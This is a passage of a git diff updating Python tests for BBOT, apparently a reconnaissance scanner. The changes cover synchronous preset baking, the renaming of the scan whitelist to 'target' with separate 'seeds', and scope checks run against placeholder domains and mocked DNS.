assert baked.core.logger.log_level == original_log_level - baked = await silent_and_debug.bake(scan=scan) + baked = silent_and_debug.bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -439,12 +463,12 @@ async def test_preset_logging(): assert debug_and_verbose.silent is False assert debug_and_verbose.debug is True assert debug_and_verbose.verbose is True - baked = await debug_and_verbose.bake() + baked = debug_and_verbose.bake() assert baked.silent is False assert baked.debug is True assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = await debug_and_verbose.bake(scan=scan) + baked = debug_and_verbose.bake(scan=scan) assert baked.core.logger.log_level == logging.DEBUG assert CORE.logger.log_level == logging.DEBUG @@ -455,12 +479,12 @@ async def test_preset_logging(): assert all_preset.silent is True assert all_preset.debug is True assert all_preset.verbose is True - baked = await all_preset.bake() + baked = all_preset.bake() assert baked.silent is True assert baked.debug is False assert baked.verbose is False assert baked.core.logger.log_level == original_log_level - baked = await all_preset.bake(scan=scan) + baked = all_preset.bake(scan=scan) assert baked.core.logger.log_level == logging.CRITICAL assert CORE.logger.log_level == logging.CRITICAL @@ -468,7 +492,7 @@ async def test_preset_logging(): assert CORE.logger.log_level == original_log_level # defaults - preset = await Preset().bake() + preset = Preset().bake() assert preset.core.logger.log_level == original_log_level assert CORE.logger.log_level == original_log_level @@ -479,7 +503,7 @@ async def test_preset_logging(): async def test_preset_module_resolution(clean_default_config): - preset = await Preset().bake() + preset = Preset().bake() sslcert_preloaded = preset.preloaded_module("sslcert") wayback_preloaded = preset.preloaded_module("wayback") dotnetnuke_preloaded = preset.preloaded_module("dotnetnuke") @@ -507,11 +531,11 @@ async def test_preset_module_resolution(clean_default_config): assert preset.modules == set(preset.output_modules).union(set(preset.internal_modules)) # make sure dependency resolution works as expected - preset = await Preset(modules=["dotnetnuke"]).bake() + preset = Preset(modules=["dotnetnuke"]).bake() assert set(preset.scan_modules) == {"dotnetnuke", "httpx"} # make sure flags work as expected - preset = await Preset(flags=["subdomain-enum"]).bake() + preset = Preset(flags=["subdomain-enum"]).bake() assert preset.flags == {"subdomain-enum"} assert "sslcert" in preset.modules assert "wayback" in preset.modules @@ -519,41 +543,40 @@ async def test_preset_module_resolution(clean_default_config): assert "wayback" in preset.scan_modules # flag + module exclusions - preset = await Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_modules=["sslcert"]).bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # flag + flag exclusions - preset = await Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # flag + flag requirements - preset = await Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() + preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() assert "sslcert" not in preset.modules assert "wayback" in preset.modules assert "sslcert" not in preset.scan_modules assert "wayback" in preset.scan_modules # normal module enableement - preset = await Preset(modules=["sslcert", "dotnetnuke", "wayback"]).bake() + preset = Preset(modules=["sslcert", "dotnetnuke", "wayback"]).bake() assert set(preset.scan_modules) == {"sslcert", "dotnetnuke", "wayback", "httpx"} # modules + flag exclusions - preset = await Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() + preset = Preset(exclude_flags=["active"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() assert set(preset.scan_modules) == {"wayback"} # modules + flag requirements - preset = await Preset(require_flags=["passive"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() + preset = Preset(require_flags=["passive"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() assert set(preset.scan_modules) == {"wayback"} # modules + module exclusions - preset = await Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() - baked_preset = preset + baked_preset = Preset(exclude_modules=["sslcert"], modules=["sslcert", "dotnetnuke", "wayback"]).bake() assert baked_preset.modules == { "wayback", "cloudcheck", @@ -571,6 +594,81 @@ async def test_preset_module_resolution(clean_default_config): } +@pytest.mark.asyncio +async def test_custom_module_dir(): + custom_module_dir = bbot_test_dir / "custom_modules" + custom_module_dir.mkdir(parents=True, exist_ok=True) + + custom_module = custom_module_dir / "testmodule.py" + with open(custom_module, "w") as f: + f.write( + """ +from bbot.modules.base import BaseModule + +class TestModule(BaseModule): + watched_events = ["SCAN"] + + async def handle_event(self, event): + await self.emit_event("127.0.0.2", parent=event) +""" + ) + + preset = { + "module_dirs": [str(custom_module_dir)], + "modules": ["testmodule"], + } + preset = Preset.from_dict(preset) + + scan = Scanner("127.0.0.0/24", preset=preset) + events = [e async for e in scan.async_start()] + event_data = [(str(e.data), str(e.module)) for e in events] + assert ("127.0.0.2", "testmodule") in event_data + + shutil.rmtree(custom_module_dir) + + +def test_preset_scope_round_trip(clean_default_config): + preset_dict = { + # seeds: initial inputs that drive passive modules + "seeds": ["127.0.0.1"], + # target: what in_target() / in_scope() check + "target": ["127.0.0.2"], + "blacklist": ["127.0.0.3"], + "config": {"scope": {"strict": True}}, + } + preset = Preset.from_dict(preset_dict) + baked = preset.bake() + # Seeds should round-trip unchanged + assert list(baked.seeds) == ["127.0.0.1"] + # Target list should round-trip unchanged + assert list(baked.target.target.inputs) == ["127.0.0.2"] + # Blacklist should round-trip unchanged + assert list(baked.blacklist) == ["127.0.0.3"] + # Scope config should be preserved + result = baked.to_dict(include_target=True) + assert result["config"]["scope"] == preset_dict["config"]["scope"] + + +def test_preset_target_tolerance(): + # tolerate both "target" and "targets", since this is a common oopsie + preset_dict = { + "target": ["127.0.0.1"], + "targets": ["127.0.0.2"], + } + preset = Preset.from_dict(preset_dict) + baked = preset.bake() + assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"} + + preset = Preset.from_yaml_string(""" +target: + - 127.0.0.1 +targets: + - 127.0.0.2 +""") + baked = preset.bake() + assert set(baked.seeds) == {"127.0.0.1", "127.0.0.2"} + + @pytest.mark.asyncio async def test_preset_module_loader(): custom_module_dir = bbot_test_dir / "custom_module_dir" @@ -588,7 +686,7 @@ async def test_preset_module_loader(): class TestModule1(BaseModule): watched_events = ["URL", "HTTP_RESPONSE"] - produced_events = ["VULNERABILITY"] + produced_events = ["FINDING"] """ ) @@ -870,25 +968,25 @@ async def test_preset_conditions(): async def test_preset_module_disablement(clean_default_config): # internal module disablement - preset = await Preset().bake() + preset = Preset().bake() assert "speculate" in preset.internal_modules assert "excavate" in preset.internal_modules assert "aggregate" in preset.internal_modules - preset = await Preset(config={"speculate": False}).bake() + preset = Preset(config={"speculate": False}).bake() assert "speculate" not in preset.internal_modules assert "excavate" in preset.internal_modules assert "aggregate" in preset.internal_modules - preset = await Preset(exclude_modules=["speculate", "excavate"]).bake() + preset = Preset(exclude_modules=["speculate", "excavate"]).bake() assert "speculate" not in preset.internal_modules assert "excavate" not in preset.internal_modules assert "aggregate" in preset.internal_modules # internal module disablement - preset = await Preset().bake() + preset = Preset().bake() assert set(preset.output_modules) == {"python", "txt", "csv", "json"} - preset = await Preset(exclude_modules=["txt", "csv"]).bake() + preset = Preset(exclude_modules=["txt", "csv"]).bake() assert set(preset.output_modules) == {"python", "json"} - preset = await Preset(output_modules=["json"]).bake() + preset = Preset(output_modules=["json"]).bake() assert set(preset.output_modules) == {"json"} @@ -961,7 +1059,7 @@ async def test_preset_override(clean_default_config): assert preset.debug is True assert preset.silent is True assert preset.name == "override4" - preset = await preset.bake() + preset = preset.bake() assert preset.debug is False assert preset.silent is True assert preset.name == "override4" @@ -981,7 +1079,7 @@ def get_module_flags(p): yield m, preloaded.get("flags", []) # enable by flag, no exclusions/requirements - preset = await Preset(flags=["subdomain-enum"]).bake() + preset = Preset(flags=["subdomain-enum"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) dnsbrute_flags = preset.preloaded_module("dnsbrute").get("flags", []) @@ -999,7 +1097,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one required flag - preset = await Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() + preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] @@ -1010,7 +1108,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one excluded flag - preset = await Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "chaos" in [x[0] for x in module_flags] @@ -1021,7 +1119,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one excluded module - preset = await Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1032,7 +1130,7 @@ def get_module_flags(p): assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, multiple required flags - preset = await Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() + preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1042,7 +1140,7 @@ def get_module_flags(p): assert not any("aggressive" in flags for module, flags in module_flags) # enable by flag, multiple excluded flags - preset = await Preset(flags=["subdomain-enum"], exclude_flags=["aggressive", "active"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_flags=["aggressive", "active"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1052,7 +1150,7 @@ def get_module_flags(p): assert not any("aggressive" in flags for module, flags in module_flags) # enable by flag, multiple excluded modules - preset = await Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() + preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() assert len(preset.modules) > 25 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] @@ -1086,12 +1184,14 @@ async def test_preset_output_dir(): # regression test for https://github.com/blacklanternsecurity/bbot/issues/2337 async def test_preset_serialization(clean_default_config): preset = Preset("192.168.1.1") - preset = await preset.bake() + preset = preset.bake() import orjson as json preset_dict = preset.to_dict(include_target=True) print(preset_dict) preset_str = json.dumps(preset_dict) - preset_dict = json.loads(preset_str) - assert preset_dict == {"target": ["192.168.1.1"], "whitelist": ["192.168.1.1/32"]} + preset_dict_round_tripped = json.loads(preset_str) + assert preset_dict_round_tripped == preset_dict + assert preset_dict["target"] == ["192.168.1.1"] + assert "seeds" not in preset_dict diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index baa455ecb4..990125c188 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -3,7 +3,7 @@ @pytest.mark.asyncio async def test_python_api(clean_default_config): - from bbot import Scanner + from bbot.scanner import Scanner # make sure events are properly yielded scan1 = Scanner("127.0.0.1") @@ -51,20 +51,18 @@ async def test_python_api(clean_default_config): # output modules override scan5 = Scanner() - await scan5._prep() assert set(scan5.preset.output_modules) == {"csv", "json", "python", "txt"} scan6 = Scanner(output_modules=["json"]) - await scan6._prep() assert set(scan6.preset.output_modules) == {"json"} # custom target types custom_target_scan = Scanner("ORG:evilcorp") events = [e async for e in custom_target_scan.async_start()] - assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "target" in e.tags]) + + assert 1 == len([e for e in events if e.type == "ORG_STUB" and e.data == "evilcorp" and "seed" in e.tags]) # presets scan7 = Scanner("evilcorp.com", presets=["subdomain-enum"]) - await scan7._prep() assert "sslcert" in scan7.preset.modules @@ -108,9 +106,8 @@ async def test_python_api_validation(): assert str(error.value) == 'Could not find scan module "asdf". Did you mean "asn"?' # invalid output module with pytest.raises(ValidationError) as error: - scan = Scanner(output_modules=["asdf"]) - await scan._prep() - assert str(error.value) == 'Could not find output module "asdf". Did you mean "teams"?' + Scanner(output_modules=["asdf"]) + assert str(error.value) == 'Could not find output module "asdf". Did you mean "nats"?' # invalid excluded module with pytest.raises(ValidationError) as error: scan = Scanner(exclude_modules=["asdf"]) @@ -138,9 +135,8 @@ async def test_python_api_validation(): assert str(error.value) == 'Could not find scan module "json". Did you mean "asn"?' # normal module as output module with pytest.raises(ValidationError) as error: - scan = Scanner(output_modules=["robots"]) - await scan._prep() - assert str(error.value) == 'Could not find output module "robots". Did you mean "web_report"?' + Scanner(output_modules=["robots"]) + assert str(error.value) == 'Could not find output module "robots". Did you mean "rabbitmq"?' # invalid preset type with pytest.raises(ValidationError) as error: scan = Scanner(preset="asdf") diff --git a/bbot/test/test_step_1/test_regexes.py b/bbot/test/test_step_1/test_regexes.py index c93dedcc62..d71f4c62db 100644 --- a/bbot/test/test_step_1/test_regexes.py +++ b/bbot/test/test_step_1/test_regexes.py @@ -351,7 +351,7 @@ def test_url_regexes(): @pytest.mark.asyncio async def test_regex_helper(): - from bbot import Scanner + from bbot.scanner import Scanner scan = Scanner("evilcorp.com", "evilcorp.org", "evilcorp.net", "evilcorp.co.uk") await scan._prep() diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 96e4591249..99ed4c4242 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -19,35 +19,34 @@ async def test_scan( modules=["ipneighbor"], ) await scan0._prep() - assert scan0.whitelisted("1.1.1.1") - assert scan0.whitelisted("1.1.1.0") + assert scan0.in_target("1.1.1.1") + assert scan0.in_target("1.1.1.0") assert scan0.blacklisted("1.1.1.15") assert not scan0.blacklisted("1.1.1.16") assert scan0.blacklisted("1.1.1.1/30") assert not scan0.blacklisted("1.1.1.1/27") assert not scan0.in_scope("1.1.1.1") - assert scan0.whitelisted("api.evilcorp.com") - assert scan0.whitelisted("www.evilcorp.com") + assert scan0.in_target("api.evilcorp.com") + assert scan0.in_target("www.evilcorp.com") assert not scan0.blacklisted("api.evilcorp.com") assert scan0.blacklisted("asdf.www.evilcorp.com") assert scan0.in_scope("test.api.evilcorp.com") assert not scan0.in_scope("test.www.evilcorp.com") assert not scan0.in_scope("www.evilcorp.co.uk") j = scan0.json - assert set(j["target"]["seeds"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} - # we preserve the original whitelist inputs - assert set(j["target"]["whitelist"]) == {"1.1.1.0/32", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} - # but in the background they are collapsed - assert scan0.target.whitelist.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"} + assert not "seeds" in j["target"], "seeds should not be in target json" + # Positional arguments become the target + assert set(j["target"]["target"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} + # Seeds are backfilled from target when not explicitly set + assert scan0.target.target.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"} assert set(j["target"]["blacklist"]) == {"1.1.1.0/28", "www.evilcorp.com"} assert "ipneighbor" in j["preset"]["modules"] - scan1 = bbot_scanner("1.1.1.1", whitelist=["1.0.0.1"]) - await scan1._prep() + scan1 = bbot_scanner("1.0.0.1", seeds=["1.1.1.1"]) assert not scan1.blacklisted("1.1.1.1") assert not scan1.blacklisted("1.0.0.1") - assert not scan1.whitelisted("1.1.1.1") - assert scan1.whitelisted("1.0.0.1") + assert not scan1.in_target("1.1.1.1") + assert scan1.in_target("1.0.0.1") assert scan1.in_scope("1.0.0.1") assert not scan1.in_scope("1.1.1.1") @@ -55,8 +54,8 @@ async def test_scan( await scan2._prep() assert not scan2.blacklisted("1.1.1.1") assert not scan2.blacklisted("1.0.0.1") - assert scan2.whitelisted("1.1.1.1") - assert not scan2.whitelisted("1.0.0.1") + assert scan2.in_target("1.1.1.1") + assert not scan2.in_target("1.0.0.1") assert scan2.in_scope("1.1.1.1") assert not scan2.in_scope("1.0.0.1") @@ -93,6 +92,36 @@ async def test_scan( assert len(scan6.dns_strings) == 1 +def test_seeds_target_separation(bbot_scanner): + """ + Test that when seeds are explicitly provided (via -s), they are properly separated from target. + """ + # Simulate: bbot -t 192.168.1.0/24 -s seed1.example.com seed2.example.com + scan = bbot_scanner( + "192.168.1.0/24", + seeds=["seed1.example.com", "seed2.example.com"], + ) + + # Verify target and seeds are properly separated in JSON + j = scan.json + assert set(j["target"]["target"]) == {"192.168.1.0/24"}, "Target should only contain the IP range" + assert set(j["target"]["seeds"]) == {"seed1.example.com", "seed2.example.com"}, ( + "Seeds should contain the DNS names, not the target" + ) + + # Verify target functionality + assert scan.in_target("192.168.1.1"), "IP in target range should be in target" + assert not scan.in_target("seed1.example.com"), "Seed DNS name should not be in target" + assert not scan.in_target("seed2.example.com"), "Seed DNS name should not be in target" + + # Verify seeds are accessible + assert "seed1.example.com" in scan.target.seeds.inputs, "seed1.example.com should be in seeds" + assert "seed2.example.com" in scan.target.seeds.inputs, "seed2.example.com should be in seeds" + assert "192.168.1.0/24" not in scan.target.seeds.inputs, ( + "Target should not be in seeds when seeds are explicitly provided" + ) + + @pytest.mark.asyncio async def test_task_scan_handle_event_timeout(bbot_scanner): from bbot.modules.base import BaseModule @@ -200,7 +229,7 @@ async def test_python_output_matches_json(bbot_scanner): assert len(events) == 5 scan_events = [e for e in events if e["type"] == "SCAN"] assert len(scan_events) == 2 - assert all(isinstance(e["data"]["status"], str) for e in scan_events) + assert all(isinstance(e["data_json"]["status"], str) for e in scan_events) assert len([e for e in events if e["type"] == "DNS_NAME"]) == 1 assert len([e for e in events if e["type"] == "ORG_STUB"]) == 1 assert len([e for e in events if e["type"] == "IP_ADDRESS"]) == 1 @@ -229,7 +258,7 @@ async def test_huge_target_list(bbot_scanner, monkeypatch): async def test_exclude_cdn(bbot_scanner, monkeypatch, clean_default_config): # test that CDN exclusion works - from bbot import Preset + from bbot.scanner import Preset dns_mock = { "evilcorp.com": {"A": ["127.0.0.1"]}, @@ -270,7 +299,7 @@ async def handle_event(self, event): # then run a scan with --exclude-cdn enabled preset = Preset("evilcorp.com") preset.parse_args() - baked_preset = await preset.bake() + baked_preset = preset.bake() assert baked_preset.to_yaml() == "modules:\n- portfilter\n" scan = bbot_scanner("evilcorp.com", preset=preset) await scan._prep() diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index 507d0dff4b..d89c2df07b 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -22,7 +22,7 @@ def check(self, module_test, events): if e.type == "URL_UNVERIFIED" and str(e.host) == "127.0.0.1" and e.scope_distance == 0 - and "target" in e.tags + and "seed" in e.tags ] ) # we have two of these because the host module considers "always_emit" in its outgoing deduplication @@ -69,27 +69,46 @@ def check(self, module_test, events): assert not any(str(e.host) == "127.0.0.1" for e in events) -class TestScopeWhitelist(TestScopeBlacklist): - blacklist = [] - whitelist = ["255.255.255.255"] +class TestScopeCidrWithSeeds(ModuleTestBase): + """ + Test that when we have a CIDR as the target and DNS names as seeds, + only the DNS names that resolve to IPs within the CIDR should be detected as in-scope. + """ + + # Seeds: DNS names that will be tested + seeds = ["inscope.example.com", "outscope.example.com"] + # Target: CIDR that defines the scope + targets = ["192.168.1.0/24"] + modules_overrides = ["dnsresolve"] + + async def setup_after_prep(self, module_test): + # Mock DNS so that: + # - inscope.example.com resolves to 192.168.1.10 (inside the /24) + # - outscope.example.com resolves to 10.0.0.1 (outside the /24) + # This must be in setup_after_prep because the base fixture applies a default + # mock_dns after prep which replaces any earlier mocks. + await module_test.mock_dns( + { + "inscope.example.com": {"A": ["192.168.1.10"]}, + "outscope.example.com": {"A": ["10.0.0.1"]}, + } + ) def check(self, module_test, events): - assert len(events) == 4 - assert not any(e.type == "URL" for e in events) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.scope_distance == 1 and "target" in e.tags - ] + # Find the DNS_NAME events for our seeds + inscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "inscope.example.com"] + outscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "outscope.example.com"] + + assert len(inscope_events) == 1, "inscope.example.com should be detected" + inscope_event = inscope_events[0] + assert inscope_event.scope_distance == 0, ( + f"inscope.example.com should be in-scope (scope_distance=0), got {inscope_event.scope_distance}" ) - assert 1 == len( - [ - e - for e in events - if e.type == "URL_UNVERIFIED" - and str(e.host) == "127.0.0.1" - and e.scope_distance == 1 - and "target" in e.tags - ] + assert "192.168.1.10" in inscope_event.resolved_hosts, "inscope.example.com should resolve to 192.168.1.10" + + assert len(outscope_events) > 0, "outscope.example.com should be detected" + outscope_event = outscope_events[0] + assert outscope_event.scope_distance > 0, ( + f"outscope.example.com should be out-of-scope (scope_distance>0), got {outscope_event.scope_distance}" ) + assert "10.0.0.1" in outscope_event.resolved_hosts, "outscope.example.com should resolve to 10.0.0.1" diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 1f5d9dedf8..6b2f9655ae 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -20,7 +20,7 @@ async def test_target_basic(bbot_scanner): await scan5._prep() # test different types of inputs - target = BBOTTarget("evilcorp.com", "1.2.3.4/8") + target = BBOTTarget(target=["evilcorp.com", "1.2.3.4/8"]) assert "www.evilcorp.com" in target.seeds assert "www.evilcorp.com:80" in target.seeds assert "http://www.evilcorp.com:80" in target.seeds @@ -60,37 +60,37 @@ async def test_target_basic(bbot_scanner): assert scan2.target.seeds == scan3.target.seeds assert scan4.target.seeds != scan1.target.seeds - assert not scan5.target.whitelist - assert len(scan1.target.whitelist) == 9 - assert len(scan4.target.whitelist) == 8 - assert "8.8.8.9" in scan1.target.whitelist - assert "8.8.8.12" not in scan1.target.whitelist - assert "8.8.8.8/31" in scan1.target.whitelist - assert "8.8.8.8/30" in scan1.target.whitelist - assert "8.8.8.8/29" not in scan1.target.whitelist - assert "2001:4860:4860::8889" in scan1.target.whitelist - assert "2001:4860:4860::888c" not in scan1.target.whitelist - assert "www.api.publicapis.org" in scan1.target.whitelist - assert "api.publicapis.org" in scan1.target.whitelist - assert "publicapis.org" not in scan1.target.whitelist - assert "bob@www.api.publicapis.org" in scan1.target.whitelist - assert "https://www.api.publicapis.org" in scan1.target.whitelist - assert "www.api.publicapis.org:80" in scan1.target.whitelist - assert scan1.make_event("https://[2001:4860:4860::8888]:80", dummy=True) in scan1.target.whitelist - assert scan1.make_event("[2001:4860:4860::8888]:80", "OPEN_TCP_PORT", dummy=True) in scan1.target.whitelist - assert scan1.make_event("[2001:4860:4860::888c]:80", "OPEN_TCP_PORT", dummy=True) not in scan1.target.whitelist - assert scan1.target.whitelist in scan2.target.whitelist - assert scan2.target.whitelist not in scan1.target.whitelist - assert scan3.target.whitelist in scan2.target.whitelist - assert scan2.target.whitelist == scan3.target.whitelist - assert scan4.target.whitelist != scan1.target.whitelist - - assert scan1.whitelisted("https://[2001:4860:4860::8888]:80") - assert scan1.whitelisted("[2001:4860:4860::8888]:80") - assert not scan1.whitelisted("[2001:4860:4860::888c]:80") - assert scan1.whitelisted("www.api.publicapis.org") - assert scan1.whitelisted("api.publicapis.org") - assert not scan1.whitelisted("publicapis.org") + assert not scan5.target.target + assert len(scan1.target.target) == 9 + assert len(scan4.target.target) == 8 + assert "8.8.8.9" in scan1.target.target + assert "8.8.8.12" not in scan1.target.target + assert "8.8.8.8/31" in scan1.target.target + assert "8.8.8.8/30" in scan1.target.target + assert "8.8.8.8/29" not in scan1.target.target + assert "2001:4860:4860::8889" in scan1.target.target + assert "2001:4860:4860::888c" not in scan1.target.target + assert "www.api.publicapis.org" in scan1.target.target + assert "api.publicapis.org" in scan1.target.target + assert "publicapis.org" not in scan1.target.target + assert "bob@www.api.publicapis.org" in scan1.target.target + assert "https://www.api.publicapis.org" in scan1.target.target + assert "www.api.publicapis.org:80" in scan1.target.target + assert scan1.make_event("https://[2001:4860:4860::8888]:80", dummy=True) in scan1.target.target + assert scan1.make_event("[2001:4860:4860::8888]:80", "OPEN_TCP_PORT", dummy=True) in scan1.target.target + assert scan1.make_event("[2001:4860:4860::888c]:80", "OPEN_TCP_PORT", dummy=True) not in scan1.target.target + assert scan1.target.target in scan2.target.target + assert scan2.target.target not in scan1.target.target + assert scan3.target.target in scan2.target.target + assert scan2.target.target == scan3.target.target + assert scan4.target.target != scan1.target.target + + assert scan1.in_target("https://[2001:4860:4860::8888]:80") + assert scan1.in_target("[2001:4860:4860::8888]:80") + assert not scan1.in_target("[2001:4860:4860::888c]:80") + assert scan1.in_target("www.api.publicapis.org") + assert scan1.in_target("api.publicapis.org") + assert not scan1.in_target("publicapis.org") assert scan1.target.seeds in scan2.target.seeds assert scan2.target.seeds not in scan1.target.seeds @@ -99,17 +99,17 @@ async def test_target_basic(bbot_scanner): assert scan4.target.seeds != scan1.target.seeds assert str(scan1.target.seeds.get("8.8.8.9").host) == "8.8.8.8/30" - assert str(scan1.target.whitelist.get("8.8.8.9").host) == "8.8.8.8/30" + assert str(scan1.target.target.get("8.8.8.9").host) == "8.8.8.8/30" assert scan1.target.seeds.get("8.8.8.12") is None - assert scan1.target.whitelist.get("8.8.8.12") is None + assert scan1.target.target.get("8.8.8.12") is None assert str(scan1.target.seeds.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126" - assert str(scan1.target.whitelist.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126" + assert str(scan1.target.target.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126" assert scan1.target.seeds.get("2001:4860:4860::888c") is None - assert scan1.target.whitelist.get("2001:4860:4860::888c") is None + assert scan1.target.target.get("2001:4860:4860::888c") is None assert str(scan1.target.seeds.get("www.api.publicapis.org").host) == "api.publicapis.org" - assert str(scan1.target.whitelist.get("www.api.publicapis.org").host) == "api.publicapis.org" + assert str(scan1.target.target.get("www.api.publicapis.org").host) == "api.publicapis.org" assert scan1.target.seeds.get("publicapis.org") is None - assert scan1.target.whitelist.get("publicapis.org") is None + assert scan1.target.target.get("publicapis.org") is None target = RadixTarget("evilcorp.com") assert "com" not in target @@ -134,18 +134,18 @@ async def test_target_basic(bbot_scanner): # test target hashing target1 = BBOTTarget() - target1.whitelist.add("evilcorp.com") - target1.whitelist.add("1.2.3.4/24") - target1.whitelist.add("https://evilcorp.net:8080") + target1.target.add("evilcorp.com") + target1.target.add("1.2.3.4/24") + target1.target.add("https://evilcorp.net:8080") target1.seeds.add("evilcorp.com") target1.seeds.add("1.2.3.4/24") target1.seeds.add("https://evilcorp.net:8080") target2 = BBOTTarget() - target2.whitelist.add("bob@evilcorp.org") - target2.whitelist.add("evilcorp.com") - target2.whitelist.add("1.2.3.4/24") - target2.whitelist.add("https://evilcorp.net:8080") + target2.target.add("bob@evilcorp.org") + target2.target.add("evilcorp.com") + target2.target.add("1.2.3.4/24") + target2.target.add("https://evilcorp.net:8080") target2.seeds.add("bob@evilcorp.org") target2.seeds.add("evilcorp.com") target2.seeds.add("1.2.3.4/24") @@ -159,29 +159,30 @@ async def test_target_basic(bbot_scanner): assert target1.hash != target2.hash assert target1.scope_hash != target2.scope_hash # add missing email - target1.whitelist.add("bob@evilcorp.org") + target1.target.add("bob@evilcorp.org") assert target1.hash != target2.hash assert target1.scope_hash == target2.scope_hash target1.seeds.add("bob@evilcorp.org") # now they should match assert target1.hash == target2.hash - # test default whitelist - bbottarget = BBOTTarget("http://1.2.3.4:8443", "bob@evilcorp.com") + # test default target + bbottarget = BBOTTarget(target=["http://1.2.3.4:8443", "bob@evilcorp.com"]) + assert bbottarget.seeds.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} - assert bbottarget.whitelist.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} + assert bbottarget.target.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} assert {e.data for e in bbottarget.seeds.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} - assert {e.data for e in bbottarget.whitelist.event_seeds} == {"1.2.3.4/32", "evilcorp.com"} + assert {e.data for e in bbottarget.target.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} - bbottarget1 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"]) - bbottarget2 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) - bbottarget3 = BBOTTarget("evilcorp.com", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"]) - bbottarget5 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget1 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) + bbottarget2 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget3 = BBOTTarget(seeds=["evilcorp.com"], target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) + bbottarget5 = BBOTTarget(seeds=["evilcorp.com", "evilcorp.net"], target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) bbottarget6 